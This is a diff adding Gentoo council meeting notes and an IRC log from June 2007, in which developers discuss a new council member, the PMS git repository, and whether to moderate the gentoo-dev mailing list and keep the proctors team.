+  3. Moderaters are a seperate and more open group from proctors. Mainly devs,
+  and are expected to show good judgement (see Catalyst item).
+- Decision is made to send the above to -dev list for discussion, and have an
+  intermediate meeting in 2 weeks. Non-binding vote by council gets 4 yes
+  votes and one no.
+  
+- Musikc had sent an email to council about the proctors process and the CoC.
+  This leads into a discussion of the FreeNode Catalyst system, which was a
+  partial basis for the CoC. Rough agreement that in an ideal work, all
+  developers should act as positive catalysts, but this is a lot harder than
+  it seems.
+  1. The moderation discussion needs to be integrated into musikc's document.
+  2. More catalyst material into the CoC per Proctor's revisions.
+  3. Musikc needs to send her mail to the lists in a week.
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20070614.txt b/xml/htdocs/proj/en/council/meeting-logs/20070614.txt
new file mode 100644
index 00000000..a01d6855
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20070614.txt
@@ -0,0 +1,689 @@
+Jun 14 13:02:47 *	kingtaco|work sets mode +m #gentoo-council
+Jun 14 13:02:55 kingtaco|work	lets get the party started
+Jun 14 13:03:00 kingtaco|work	roll-call
+Jun 14 13:03:11 kingtaco|work	agaffney for wolf31o2
+Jun 14 13:03:12 *	agaffney is here for wolf31o2
+Jun 14 13:03:20 kingtaco|work	Flameeyes for uberlord
+Jun 14 13:03:26 *	Flameeyes here
+Jun 14 13:03:32 kingtaco|work	I'm of course here
+Jun 14 13:03:36 SpanKY	yep
+Jun 14 13:03:40 robbat2	yo
+Jun 14 13:03:42 kingtaco|work	Kugelfang, robbat2 ?
+Jun 14 13:03:51 Flameeyes	robbat2 was here a moment ago
+Jun 14 13:04:03 robbat2	am I chopped liver?
+Jun 14 13:04:07 kingtaco|work	yes!
+Jun 14 13:04:15 kingtaco|work	ok, first round, jaervosz
+Jun 14 13:04:23 robbat2	Kugelfang, where are ya?
+Jun 14 13:04:40 kingtaco|work	robbat2, I haven't seen him around in weeks
+Jun 14 13:05:32 kingtaco|work	last I heard he was working on his thesis
+Jun 14 13:05:34 agaffney	he's 11 hours idle
+Jun 14 13:05:38 agaffney	same here
+Jun 14 13:05:43 agaffney	no idea what that's done with
+Jun 14 13:05:49 kingtaco|work	nor I
+Jun 14 13:05:49 agaffney	s/what/when/
+Jun 14 13:05:53 kingtaco|work	so we'll continue
+Jun 14 13:06:03 kingtaco|work	anyone have questions for jaervosz before we vote?
+Jun 14 13:06:22 robbat2	on him becoming council - no
+Jun 14 13:06:28 robbat2	no questions I mean
+Jun 14 13:06:31 agaffney	heh
+Jun 14 13:06:31 Flameeyes	erm vote on what?
+Jun 14 13:06:36 *	Flameeyes needs to be filled in a bit
+Jun 14 13:06:40 kingtaco|work	both wolf and uber have indicated that they approve
+Jun 14 13:06:48 kingtaco|work	jaervosz is to fill kloeris spot
+Jun 14 13:06:54 Flameeyes	no questions
+Jun 14 13:06:55 SpanKY	and myself
+Jun 14 13:06:59 kingtaco|work	yes
+Jun 14 13:07:05 kingtaco|work	so, any nos?
+Jun 14 13:07:29 *	Cardoe (n=cardoe@gentoo/developer/Cardoe) has joined #gentoo-council
+Jun 14 13:07:33 kingtaco|work	1
+Jun 14 13:07:34 kingtaco|work	2
+Jun 14 13:07:36 kingtaco|work	3
+Jun 14 13:07:38 *	Jokey (n=jokey_mo@gentoo/developer/jokey) has joined #gentoo-council
+Jun 14 13:07:45 kingtaco|work	welcome to the club jaervosz
+Jun 14 13:07:53 jaervosz	thanks :)
+Jun 14 13:08:06 agaffney	you say that now... :P
+Jun 14 13:08:08 kingtaco|work	the only agenda item I'm aware of is proctors
+Jun 14 13:08:12 *	genone_ (n=genone@gentoo/developer/genone) has joined #gentoo-council
+Jun 14 13:08:19 kingtaco|work	anyone else have anything?
+Jun 14 13:08:53 SpanKY	status of pms repo
+Jun 14 13:08:58 kingtaco|work	k
+Jun 14 13:09:03 kingtaco|work	anything else?
+Jun 14 13:09:42 robbat2	nope
+Jun 14 13:09:51 kingtaco|work	ok, lets do pms first
+Jun 14 13:10:05 kingtaco|work	SpanKY, you got the floor
+Jun 14 13:10:23 *	kingtaco|work gives voice to spb
+Jun 14 13:10:35 SpanKY	robbat2 has the status
+Jun 14 13:11:26 robbat2	the git repo is alive and up to r164 of their SVN - which is the last commit that seems to be present, which is concerning as it was 2 months ago
+Jun 14 13:11:37 robbat2	unless they moved the SVN again
+Jun 14 13:11:49 SpanKY	so it's ready for use on our side
+Jun 14 13:11:59 kingtaco|work	latest svn that I've heard of was repogirl.net
+Jun 14 13:12:03 robbat2	ya
+Jun 14 13:12:20 kingtaco|work	ok
+Jun 14 13:12:24 kingtaco|work	what's the next step?
+Jun 14 13:12:25 SpanKY	spb: your turn
+Jun 14 13:12:37 robbat2	on the side of accessing it, it's dev-only at the moment, and there's related git stuff going on with me and infra as there's other demand for non-dev users to write to git repos
+Jun 14 13:13:31 SpanKY	so it's not done yet on infra's side
+Jun 14 13:13:46 robbat2	devs can access it, but not non-dev
+Jun 14 13:13:57 SpanKY	non-dev's should have anon access
+Jun 14 13:14:04 *	peper (n=peper@gentoo/developer/paludis.lackey.peper) has joined #gentoo-council
+Jun 14 13:14:04 robbat2	i meant for write
+Jun 14 13:14:14 kingtaco|work	I think they demanded commit writes for that person
+Jun 14 13:14:21 SpanKY	the point of using git is so that there is no need
+Jun 14 13:14:26 SpanKY	it'd be pushing to spb
+Jun 14 13:14:47 SpanKY	if the repo has non-dev access, then it might as well be svn shouldnt it
+Jun 14 13:15:08 kingtaco|work	except we simply won't give non-dev svn write access
+Jun 14 13:15:13 kingtaco|work	at svn.gentoo.org
+Jun 14 13:15:20 kingtaco|work	could do it on overlays or something
+Jun 14 13:15:22 SpanKY	but you'd give non-dev access to git
+Jun 14 13:15:43 kingtaco|work	it's more a logistical problem than anything
+Jun 14 13:15:45 SpanKY	i'm asking, i dont really know what the infra policy is now
+Jun 14 13:15:52 kingtaco|work	our ACLs arn't setup for that
+Jun 14 13:16:06 kingtaco|work	I'm assuming robbat2 has solved the problem with git
+Jun 14 13:16:21 robbat2	the other non-dev git-write work to git were for overlays already
+Jun 14 13:16:57 robbat2	if there's one thing that's lacking, it's me writing a doc on how folks can access it
+Jun 14 13:16:59 kingtaco|work	robbat2, so from an infra POV are we ready or not?
+Jun 14 13:17:14 robbat2	it works yes, but I need to show folk how
+Jun 14 13:17:24 kingtaco|work	all that's left is docs?
+Jun 14 13:17:33 robbat2	for dev-only-write and world-read yes
+Jun 14 13:17:47 SpanKY	then that's the status
+Jun 14 13:18:04 kingtaco|work	ok, docs can be written this month?
+Jun 14 13:18:14 robbat2	if nothing else blows up, ya
+Jun 14 13:18:17 kingtaco|work	k
+Jun 14 13:18:23 robbat2	(work's been a pita the last while)
+Jun 14 13:18:26 kingtaco|work	table for next month then?
+Jun 14 13:18:33 kingtaco|work	get a doc dev to do it for you
+Jun 14 13:18:43 kingtaco|work	that's what they're here for
+Jun 14 13:18:46 *	arkanoid (n=arkanoid@8-255-173-213.static.dsl.webpartner.net) has joined #gentoo-council
+Jun 14 13:18:47 robbat2	and spb to contact me in 2 weeks or so for a walk-thru of using it
+Jun 14 13:19:12 *	windzor (n=windzor@82.143.229.82) has joined #gentoo-council
+Jun 14 13:19:17 Flameeyes	robbat2, if you have any raw notes to be translated in something humanly readable, feel free to mail this way
+Jun 14 13:19:24 kingtaco|work	k, anything else on this topic?  anyone oppose to moving to next month?
+Jun 14 13:19:30 Flameeyes	I don't have much to do lately, and I know my way around guidexml
+Jun 14 13:19:35 robbat2	ok
+Jun 14 13:20:05 kingtaco|work	aight, next topic
+Jun 14 13:20:13 *	kingtaco|work removes voice from spb
+Jun 14 13:20:18 kingtaco|work	proctors
+Jun 14 13:20:34 kingtaco|work	whomever is here for the proctors, please PM me so I can voice you
+Jun 14 13:20:53 kingtaco|work	wolf had called to disban them
+Jun 14 13:21:18 *	kingtaco|work gives voice to musikc marienz
+Jun 14 13:21:34 *	kingtaco|work gives voice to NeddySeagoon
+Jun 14 13:21:41 kingtaco|work	aight then
+Jun 14 13:22:33 kingtaco|work	I feel that the proctors haven't done what we initially intended
+Jun 14 13:22:45 robbat2	is the email that musikc to council sent 3 hours before the council meeting on for discussion at the moment?
+Jun 14 13:23:03 kingtaco|work	we can, but I must admit to not reading most of it
+Jun 14 13:23:05 *	hlieberman (n=hlieberm@gentoo/developer/hlieberman) has joined #gentoo-council
+Jun 14 13:23:15 jaervosz	I haven't seen it either
+Jun 14 13:23:22 kingtaco|work	I think I have a solution to the flamewars on -dev
+Jun 14 13:23:32 kingtaco|work	that makes the proctors less needed
+Jun 14 13:23:35 *	Flameeyes can't see it either
+Jun 14 13:23:43 robbat2	and I think it's timing is such that our proxied council members haven't read it either
+Jun 14 13:23:47 kingtaco|work	robbat2, can you forward that to the 2 people please
+Jun 14 13:24:03 kingtaco|work	here is my idea:
+Jun 14 13:24:23 kingtaco|work	infra makes a gentoo-project list, which would be a "copy'
+Jun 14 13:24:27 kingtaco|work	infra makes a gentoo-project list, which would be a "copy" of -dev
+Jun 14 13:25:00 kingtaco|work	then we make -dev moderated for non gentoo posters.  all the flamewars and bitching I've seen for quite a while have involved at least one non-dev at the begining
+Jun 14 13:25:25 kingtaco|work	I think if we can stop them from starting then we have a much less chance of a full flamewar
+Jun 14 13:25:27 kingtaco|work	thoughts?>
+Jun 14 13:25:41 NeddySeagoon	Who will do the moderation ?
+Jun 14 13:25:44 kingtaco|work	this would remove the main need for proctors
+Jun 14 13:25:45 robbat2	who moderates, and under what policies?
+Jun 14 13:25:47 kingtaco|work	good question
+Jun 14 13:25:58 *	genone has quit (Read error: 110 (Connection timed out))
+Jun 14 13:26:02 Flameeyes	yep who moderates (and how) is the main problem to solve here
+Jun 14 13:26:04 agaffney	my questions exactly
+Jun 14 13:26:17 kingtaco|work	I think we've made enough policies, I'd make it so any dev could moderate if they want, but hild them responsible for what they pass through
+Jun 14 13:26:22 Flameeyes	[going on the pessimistic rule, whoever will be to moderate will be said to apply censorship, and flames will restart]
+Jun 14 13:26:24 kingtaco|work	and no wussy 24 hour bans
+Jun 14 13:26:38 kingtaco|work	if someone fucks up, make it a month ban or something
+Jun 14 13:26:59 agaffney	yeah, the 24 hour bans were somewhat ineffective
+Jun 14 13:27:04 robbat2	i think musikc's email is definetly relevant here
+Jun 14 13:27:13 agaffney	because chances are the flame will still be going then, and they can just start right back in
+Jun 14 13:27:17 Flameeyes	maybe something changed since I left, but weren't some people totally against banning at any level?
+Jun 14 13:27:23 musikc	devrel would like the opportunity to help with the proctor project
+Jun 14 13:27:30 marienz	(interrupting: I think the council really needs to decide what the goal of the -dev list *is*, and then decide how and by who the list is kept used only for that goal)
+Jun 14 13:27:44 kingtaco|work	Flameeyes, some people didn't like it, yes, but things are continually out of hand
+Jun 14 13:27:53 NeddySeagoon	Makr -dev moderated for everyone. In a short time, the flames would die out. It would need fair sized team for 24/7 coverage
+Jun 14 13:28:14 kingtaco|work	marienz, the goal is simply development related topic
+Jun 14 13:28:16 kingtaco|work	+s
+Jun 14 13:28:22 Flameeyes	kingtaco|work, so am I fine to suppose that almost nothing changed in the background since I left?
+Jun 14 13:28:24 NeddySeagoon	agaffney, the 24 hour bans were never really applied
+Jun 14 13:28:24 marienz	you still need to decide on moderators for that. I fear that if any dev can let posts through they'll restart again fairly quickly.
+Jun 14 13:28:33 agaffney	NeddySeagoon: that was my thought, but it's not very practical
+Jun 14 13:28:43 agaffney	NeddySeagoon: I thought that 2 people were banned in the last big thread
+Jun 14 13:28:46 robbat2	could I ask for a slight modification on KingTaco's original?
+Jun 14 13:28:50 *	kingtaco|work gives voice to jmbsvicetto blackace hlieberman
+Jun 14 13:28:54 kingtaco|work	robbat2, sure
+Jun 14 13:28:59 robbat2	rather than banning, those that show poor judgement can also be moderated
+Jun 14 13:29:00 kingtaco|work	my idea is raw
+Jun 14 13:29:01 NeddySeagoon	agaffney, they were restored at wolfs insistance
+Jun 14 13:29:03 agaffney	ah
+Jun 14 13:29:05 *	Flameeyes reading the forward, give me a minute or two
+Jun 14 13:29:06 robbat2	rather than directly blocked
+Jun 14 13:29:18 kingtaco|work	robbat2, that works for me, assuming it's easy from the infra side
+Jun 14 13:29:21 agaffney	robbat2: did you forward it to me? I haven't gotten it yet
+Jun 14 13:29:22 robbat2	yup
+Jun 14 13:29:27 *	cla (i=claudius@gentoo/developer/cla) has joined #gentoo-council
+Jun 14 13:29:28 marienz	and how do you decide "who shows poor judgment"?
+Jun 14 13:29:43 musikc	who decides 'who shows poor judgment'?
+Jun 14 13:29:52 kingtaco|work	the council does I suppose
+Jun 14 13:29:54 hlieberman	I've got an idea, if you'd like to hear it.
+Jun 14 13:29:54 marienz	it sounds to me like you'll still need a group of people (devrel? proctors? council?) who decide who crosses the line here, and that'll likely lead to the same "censorship" claims we're seeing now.
+Jun 14 13:30:02 robbat2	musikc, i'm saying moderation as one of the things in your proctors actions email
+Jun 14 13:30:07 blackace	so if everyone can let posts through, what's to stop someone from letting their own post through, and then who decides to ban them?  it seems to me, you have to trust that to someone, be it proctors or devrel or whatever
+Jun 14 13:30:08 NeddySeagoon	robbat2, has that been implemented now ?  last time it was needed there was only bans
+Jun 14 13:30:09 kingtaco|work	marienz, that can't be helped
+Jun 14 13:30:13 hlieberman	That's a layer above all of these concerns - a higher level.
+Jun 14 13:30:16 jmbsvicetto	kingtaco|work: I would just like to remember those listening to this proposal, that at this moment, the moderation as robbat2 is suggesting isn't still possible (at least it wasn't last Friday)
+Jun 14 13:30:31 kingtaco|work	but frankly, participating in gentoo is a privilage, not a right
+Jun 14 13:30:43 robbat2	NeddySeagoon, it's been available always, from the dropdown in the access.cgi, but the problem is that we don't have any moderators defined
+Jun 14 13:30:44 Flameeyes	I agree with marienz on this
+Jun 14 13:30:48 marienz	kingtaco|work: agreed, but I thought it was obvious the same thing would happen to proctors, and that didn't work out too well. Don't want a rerun of that the first time this new approach leads to an unpopular decision.
+Jun 14 13:30:54 *	impulze (i=impulze@2001:6f8:10ae:0:217:31ff:fe81:8c8) has joined #gentoo-council
+Jun 14 13:31:13 kingtaco|work	first off, council, is this something we want to persue?
+Jun 14 13:31:16 hlieberman	In fact, it's a solution that is working on a network larger than gentoo.
+Jun 14 13:31:17 Flameeyes	whoever will be the moderators they _will_ be told to be censors, and nothing will stop this from happening
+Jun 14 13:31:34 marienz	no matter how you approach this, if there's any kind of moderation/blocking/whatever there's going to be a group making unpopular decisions, and you need to trust that group
+Jun 14 13:31:34 jmbsvicetto	robbat2: sorry, but I hadn't understood that from our talks
+Jun 14 13:31:37 robbat2	it isn't the consensus moderation, it's any-mod-is-god
+Jun 14 13:31:42 kingtaco|work	Flameeyes, my proposal was that *any* dev could be a moderator
+Jun 14 13:31:49 hlieberman	I think we're approaching this thing the entirely wrong way.
+Jun 14 13:32:01 hlieberman	We're looking at dealing with the flames by moderation - which raises the 'temperature'.
+Jun 14 13:32:03 kingtaco|work	that way if people want to claim playing favorites, they can get off their lazy asses and moderate themselves
+Jun 14 13:32:12 hlieberman	I think we need to all take a long hard look at the Catalyst model that Freenode runs off of.
+Jun 14 13:32:24 Flameeyes	kingtaco|work, as once a mail passes it's passed, I fail to see how this would help
+Jun 14 13:32:32 marienz	Flameeyes: exactly
+Jun 14 13:32:32 Flameeyes	it's not like the flames comes _only_ from users
+Jun 14 13:32:40 blackace	first off...can I ask why the council thinks proctors won't work?  one instance where a council member acted inappropriately and started this discussion?
+Jun 14 13:32:54 Flameeyes	if all the devs were able to decide NOT to let flames pass to the mailing list, they would never post on the mailing list when a flame thread starts
+Jun 14 13:32:55 musikc	kingtaco|work: so youre saying that every dev could moderate the ML, either blocking or allowing what they saw fit?
+Jun 14 13:32:59 kingtaco|work	blackace, the proctors have so far failed at their task
+Jun 14 13:33:01 marienz	if anyone can let posts through it won't *work*. You'll need to stop some people from letting obviously inflammatory posts through if you go that route.
+Jun 14 13:33:04 kingtaco|work	musikc, not blocking, allowing
+Jun 14 13:33:10 blackace	kingtaco|work: how?
+Jun 14 13:33:23 agaffney	blackace: in multiple instances, the proctors' actions have just served to further fuel the flames, usually turning them in another direction...against the proctors
+Jun 14 13:33:24 kingtaco|work	blackace, by failing to stop the flamewars and fighting
+Jun 14 13:33:48 *	marienz is not convinced this means the proctors should be *disbanded*
+Jun 14 13:33:53 SpanKY	agaffney: which really is to be expected
+Jun 14 13:33:56 kingtaco|work	we're not voting on that
+Jun 14 13:34:00 SpanKY	you tell a jackass he's a jackass and he's going to flame you
+Jun 14 13:34:02 marienz	they're not working *yet*, but I don't believe disbanding entirely will help either.
+Jun 14 13:34:03 blackace	kingtaco|work: specific instances please, because if all you have is this last one, it doesn't count, we _stopped_ after wolf's post, when we really wanted to continue banning people in order to stop the flamewar
+Jun 14 13:34:03 kingtaco|work	or ever talking about that this moment
+Jun 14 13:34:07 hlieberman	How many of you have read this: http://freenode.net/catalysts.shtml
+Jun 14 13:34:10 Flameeyes	SpanKY hit the problem
+Jun 14 13:34:21 marienz	we need to adjust a few things, mainly get people to complain to/about proctors on some other place than the -dev list
+Jun 14 13:34:22 Flameeyes	whoever will try to apply moderation in any form _will_ get a flame back
+Jun 14 13:34:26 kingtaco|work	anyway
+Jun 14 13:34:27 NeddySeagoon	kingtaco|work, The proctors gave up on the last thread in the face of wolfs insistance as a council member
+Jun 14 13:34:54 kingtaco|work	the fact that we're getting into an argument here is proof that it isn't a good deal
+Jun 14 13:35:03 kingtaco|work	now, back to the task
+Jun 14 13:35:09 hlieberman	Tell me when you're done with this train of discussion, and are ready to listen. :)
+Jun 14 13:35:12 blackace	no, it isn't.
+Jun 14 13:35:14 kingtaco|work	council, what do you think about the idea?
+Jun 14 13:35:16 agaffney	SpanKY: yes, but usually it was everyone else that was flaming the person calling the original person a jackass
+Jun 14 13:35:33 NeddySeagoon	Lets here hlieberman
+Jun 14 13:35:41 *	kingtaco|work removes voice from NeddySeagoon
+Jun 14 13:35:44 *	kingtaco|work removes voice from blackace
+Jun 14 13:36:09 kingtaco|work	again, council, what do you think about the idea of moderating?
+Jun 14 13:36:16 jaervosz	I think we should give the proctors some more time to show results
+Jun 14 13:36:17 Flameeyes	as I said, I feel like it won't change much
+Jun 14 13:36:20 kingtaco|work	apply robbat2s idea to mine
+Jun 14 13:36:42 musikc	kingtaco|work: can you recap robbat2s idea?
+Jun 14 13:36:57 agaffney	kingtaco|work: I think the idea of moderating non-devs has merit, however, it would likely work better if *everyone* was moderated, but it wouldn't be as practical
+Jun 14 13:37:07 robbat2	my idea was including moderation of a specific user in musikc's list of proctor actions
+Jun 14 13:37:09 Flameeyes	I agree with jaervosz, I'd be for giving them the chance; just allowing any dev to be the moderator would expect any dev to be able to moderate himself, which, if true, wouldn't have let us come to this point in the first place
+Jun 14 13:37:14 kingtaco|work	robbat2 was my idea but instead of a long ban for someone passing in crap, they would become moderated themselves
+Jun 14 13:37:29 *	RiverRat (n=me@gentoo/contributor/riverrat) has joined #gentoo-council
+Jun 14 13:37:45 jaervosz	if we should turn to moderation all devs should be able to moderate other devs but not themselves i guess
+Jun 14 13:37:53 kingtaco|work	keep in mind right now it's a pita for infra to find out who passed in crap, so we're not likely to want to go easy
+Jun 14 13:38:33 robbat2	jaervosz, that causes problems when two folk agree to mod each others flames
+Jun 14 13:38:34 Flameeyes	just adding a "moderate single user" option to proctors' capabilities sounds a nice compromise between doing nothing and banning right away
+Jun 14 13:38:49 kingtaco|work	Flameeyes, it's already there
+Jun 14 13:38:53 kingtaco|work	they haven't used it
+Jun 14 13:38:57 jaervosz	robbat2: aye, but at least we have two fools to discuss at the next council meeting :)
+Jun 14 13:39:05 kingtaco|work	in fact, the ONLY time they've done something was the latest flamewar
+Jun 14 13:39:08 Flameeyes	robbat2, there's no need for that, whatever the argument, you'll find at least five people agreeing, and as many disagreeing
+Jun 14 13:39:23 *	avenj (n=avenj@gentoo/developer/avenj) has joined #gentoo-council
+Jun 14 13:39:26 Flameeyes	kingtaco|work, wasn't just said that the mailing list has no moderators? and thus nobody can actually take care of the moderation?
+Jun 14 13:39:50 jmbsvicetto	kingtaco|work: just for the record, the proctors team wasn't aware of that ability
+Jun 14 13:39:53 musikc	Acknowledging what kingtaco|work said, I think we can all agree that the proctor project would need guidance, is that option completely off the table?
+Jun 14 13:39:54 kingtaco|work	not from what I understand
+Jun 14 13:40:01 jaervosz	but as i originally said i think proctors should be given more time, i think it's far better to have a human "face" to ensure a nice working enviornment than moderation
+Jun 14 13:40:05 robbat2	moderation is possible from a technical perspective, but was not used, because it was a single-mod-is-god level
+Jun 14 13:40:11 kingtaco|work	ok, I'm not talking about the proctors
+Jun 14 13:40:18 kingtaco|work	so knock it off
+Jun 14 13:40:21 robbat2	not the consensus moderation from 2 meetings ago
+Jun 14 13:40:27 *	windzor has quit (Client Quit)
+Jun 14 13:40:31 Flameeyes	kingtaco|work, I wasn't aware of moderation being an option for proctors either
+Jun 14 13:40:45 kingtaco|work	Flameeyes, what did I just say?
+Jun 14 13:40:54 Flameeyes	kingtaco|work, I was just finishing my phrase above :)
+Jun 14 13:40:55 robbat2	jmbsvicetto, go and hit the access.cgi page, you'll see a 'moderate' option in the dropdown
+Jun 14 13:41:11 kingtaco|work	anyway
+Jun 14 13:41:30 kingtaco|work	does any council member have anything to add to my little proposal or any questions?
+Jun 14 13:42:02 Flameeyes	would the headers show who allowed a mail in?
+Jun 14 13:42:07 kingtaco|work	eventually
+Jun 14 13:42:15 kingtaco|work	for the moment, infra has to dig through logs
+Jun 14 13:42:21 kingtaco|work	which means a pissed off infra
+Jun 14 13:42:32 Flameeyes	I would consider that a technical requirement
+Jun 14 13:42:43 kingtaco|work	which means someone is getting their ass banned or moderated
+Jun 14 13:42:59 Flameeyes	although a pissed off infra is more likely to act, if you get enough noise to make the dig up a big waste of time, you have anyway got your effect
+Jun 14 13:43:13 hlieberman	I think we're looking too far down at the discussion. Down into the technical elements. I have a much more higher level idea that I think bears consideration.
+Jun 14 13:43:18 *	kingtaco|work removes voice from hlieberman
+Jun 14 13:43:22 kingtaco|work	I told you to be quiet
+Jun 14 13:43:50 *	tove (n=tove@smtp.gentoo.org) has left #gentoo-council
+Jun 14 13:44:29 robbat2	hlieberman, to finish your catalyst stuff off, integrate it into the CoC, which is not the present subject of discussion.
+Jun 14 13:44:59 kingtaco|work	ok
+Jun 14 13:45:27 kingtaco|work	this being independent of proctors, does anyone want to continue that discussion before we vote on this?
+Jun 14 13:46:55 kingtaco|work	I take that as a no
+Jun 14 13:47:00 jaervosz	just to be sure I understand it correctly: -dev will be moderated and -project and unmoderated version?
+Jun 14 13:47:05 kingtaco|work	yes
+Jun 14 13:47:16 robbat2	moderated for non-developers
+Jun 14 13:47:26 jaervosz	so you post to -project and it might be moderated?
+Jun 14 13:47:30 kingtaco|work	no
+Jun 14 13:47:38 kingtaco|work	-project becomes what -dev is now
+Jun 14 13:47:56 robbat2	and -dev gets moderated for non-@gentoo.org
+Jun 14 13:48:00 kingtaco|work	the hidden bonus of this is that core can almost go away
+Jun 14 13:48:05 agaffney	will devs be "required" to subscribe to -project?
+Jun 14 13:48:08 kingtaco|work	no
+Jun 14 13:48:20 kingtaco|work	announcements will go to -dev like always
+Jun 14 13:49:10 agaffney	how can this get rid of -core? we still want a list that's only readable by devs, right?
+Jun 14 13:49:28 kingtaco|work	it doesn't get rid of it, it makes it (almost) unnecessary
+Jun 14 13:49:48 robbat2	i believe kingtaco means that some discussions are going to core at the moment when people don't want the noise involved of a discussion on the present -dev
+Jun 14 13:49:55 agaffney	ah
+Jun 14 13:50:07 kingtaco|work	there is very very little traffic that has to be kept internal
+Jun 14 13:50:14 kingtaco|work	and even then I believe people leak it out
+Jun 14 13:50:41 agaffney	it does seem that way
+Jun 14 13:50:42 SpanKY	s/I believe//
+Jun 14 13:50:46 Flameeyes	that's for sure a-hem
+Jun 14 13:50:54 agaffney	sad that we can't trace the leak
+Jun 14 13:51:11 kingtaco|work	such is a closed mailing list
+Jun 14 13:51:14 agaffney	but that's an entirely different discussion
+Jun 14 13:51:20 Flameeyes	right
+Jun 14 13:51:20 kingtaco|work	yes
+Jun 14 13:51:59 kingtaco|work	so, all in favor of -dev becoming non-moderated for !gentoo.org and gentoo.org that have flamed/passed in flames?
+Jun 14 13:52:21 kingtaco|work	or rather
+Jun 14 13:52:21 agaffney	s/non-// right?
+Jun 14 13:52:30 kingtaco|work	any other questions before the vote
+Jun 14 13:52:33 robbat2	still, who are the moderators? proctors?
+Jun 14 13:52:38 kingtaco|work	nopoe
+Jun 14 13:52:45 kingtaco|work	any dev who isn't currently moderated
+Jun 14 13:52:50 kingtaco|work	and chooses to be
+Jun 14 13:53:16 robbat2	so to clarify
+Jun 14 13:54:02 robbat2	moderators are seperate from proctors, and the proctors still exist here in that they can make flaming devs be moderated, but proctors are needed a LOT less
+Jun 14 13:54:23 Flameeyes	robbat2, (hopefully)
+Jun 14 13:54:51 kingtaco|work	I see the proctors as a seperate thing
+Jun 14 13:54:55 jaervosz	and a lot of time is wasted moderating instead of developing
+Jun 14 13:55:09 kingtaco|work	jaervosz, not really, most posts are from gentoo devs
+Jun 14 13:55:18 kingtaco|work	not a lot of non-gentoo posters there anymore
+Jun 14 13:55:22 *	avenj (n=avenj@gentoo/developer/avenj) has left #gentoo-council
+Jun 14 13:55:29 Flameeyes	jaervosz, I doubt that whoever would moderate would be developing otherwise
+Jun 14 13:56:11 jaervosz	ok, my point is that time spend moderating could perhaps be spend better elsewhere
+Jun 14 13:56:12 kingtaco|work	this does reduce or possibly eliminate the need for proctors on this list
+Jun 14 13:56:27 kingtaco|work	jaervosz, the options we have is either moderate or flame
+Jun 14 13:56:29 Flameeyes	jaervosz, it's not far different from the flaming
+Jun 14 13:56:45 kingtaco|work	the difference is that it only wastes 1 persons time
+Jun 14 13:57:39 *	jaervosz has quit (Read error: 104 (Connection reset by peer))
+Jun 14 13:57:41 Flameeyes	and one person's face if someone proactively lets flames begin
+Jun 14 13:57:52 musikc	kingtaco|work: will devs moderate other devs on -dev, or only moderate users?
+Jun 14 13:58:19 kingtaco|work	all non devs and those devs who have either flamed or allowed a flame in
+Jun 14 13:58:34 kingtaco|work	default policy is to accept any dev
+Jun 14 13:58:55 musikc	kingtaco|work: then wouldnt it make the -project ML an unnecessary redundancy?
+Jun 14 13:59:00 kingtaco|work	nope
+Jun 14 13:59:08 kingtaco|work	that's more of a anything goes place
+Jun 14 13:59:17 kingtaco|work	-dev is for development related discussion **ONLY**
+Jun 14 13:59:24 robbat2	folks should direct anything political to -project, just like debian's -project
+Jun 14 13:59:37 kingtaco|work	and if we decide to keep the proctors I see them having a active role on that list
+Jun 14 13:59:40 musikc	kingtaco|work: then -project will still incite flames, etc, and wouldnt THAT ML need some form of moderation?
+Jun 14 13:59:50 kingtaco|work	musikc, yes
+**** BEGIN LOGGING AT Thu Jun 14 14:00:15 2007
+
+Jun 14 14:00:15 kingtaco|work	the difference is that people don't have to be subscribed and they won't miss out on the important announcements that come on -dev
+Jun 14 14:01:10 musikc	kingtaco|work: i think i follow you now, it would make -project a necessary evil essentially. acknowledging a place where such behaviour may exist, but not requiring an individual to read it or partake
+Jun 14 14:01:20 agaffney	ok, so the -project thing isn't arbitrary...it's based on debian's list of the same name
+Jun 14 14:01:37 agaffney	also explains the name :)
+Jun 14 14:01:48 kingtaco|work	no, the bahavior isn't accepted, but since we know it's going to happen, we may as well move it to a place where people can ignore and not miss something important
+Jun 14 14:02:09 kingtaco|work	-project is what was requested
+Jun 14 14:02:15 kingtaco|work	don't really care what it's called
+Jun 14 14:02:32 kingtaco|work	and the -project side is mainly kumbas idea
+Jun 14 14:03:24 kingtaco|work	so anything else before we pt this to vote?
+Jun 14 14:03:29 musikc	kingtaco|work: sorry, not saying the behaviour would be accepted on -project. of course that would bring us round to the discussion of future of "proctors"
+Jun 14 14:03:41 kingtaco|work	which is next on the list
+Jun 14 14:03:49 *	je_fro (n=unknown@gentoo/developer/je-fro) has joined #gentoo-council
+Jun 14 14:04:12 agaffney	after this vote, I'll still be around, but I'll be paying a lot less attention
+Jun 14 14:04:24 robbat2	ok, so I think all the questions have been resolved here, i'll try summarize quickly
+Jun 14 14:04:25 kingtaco|work	I have to fix dev.g.o soon
+Jun 14 14:04:27 robbat2	and we can vote
+Jun 14 14:04:30 kingtaco|work	so we need to hurry up
+Jun 14 14:04:58 robbat2	1. -dev becomes moderated for non-@gentoo.org AND any @gentoo.org that wishes to be moderated or has flamed
+Jun 14 14:05:10 robbat2	2. -project is created as an open list for the flames of which -dev presently sees
+Jun 14 14:05:56 robbat2	3. moderators are a seperate and more open group than proctors. they are mainly devs and are expected to show good judgement (more on this in a bit, re hlieberman's)
+Jun 14 14:06:20 robbat2	did I miss anything?
+Jun 14 14:06:35 kingtaco|work	that's it in a nutshell
+Jun 14 14:06:52 robbat2	anybody else think I missed anything? speak or PM me
+Jun 14 14:06:58 robbat2	you have 60 seconds
+Jun 14 14:07:16 *	jaervosz (n=jaervosz@gentoo/developer/jaervosz) has joined #gentoo-council
+Jun 14 14:07:59 Flameeyes	jaervosz, you want a summary?
+Jun 14 14:08:19 robbat2	ok, here are some Qs
+Jun 14 14:08:23 Flameeyes	jaervosz, http://rafb.net/p/spFw0Q11.html
+Jun 14 14:08:28 robbat2	<tomk> what about devs who have let a flamewar start?
+Jun 14 14:08:44 robbat2	<mariez> how is "has flamed" decided?
+Jun 14 14:08:45 kingtaco|work	robbat2, you take over chair please, I gotta take a piss
+Jun 14 14:09:32 robbat2	<tomaw> Can the gentoo council declare, create and enforce a requirement all in one meeting?
+Jun 14 14:09:58 agaffney	brb...bathroom break as well
+Jun 14 14:10:04 *	dang (n=dang@gentoo/developer/pdpc.active.dang) has joined #gentoo-council
+Jun 14 14:10:23 robbat2	ok, that's all the really clear questions for now
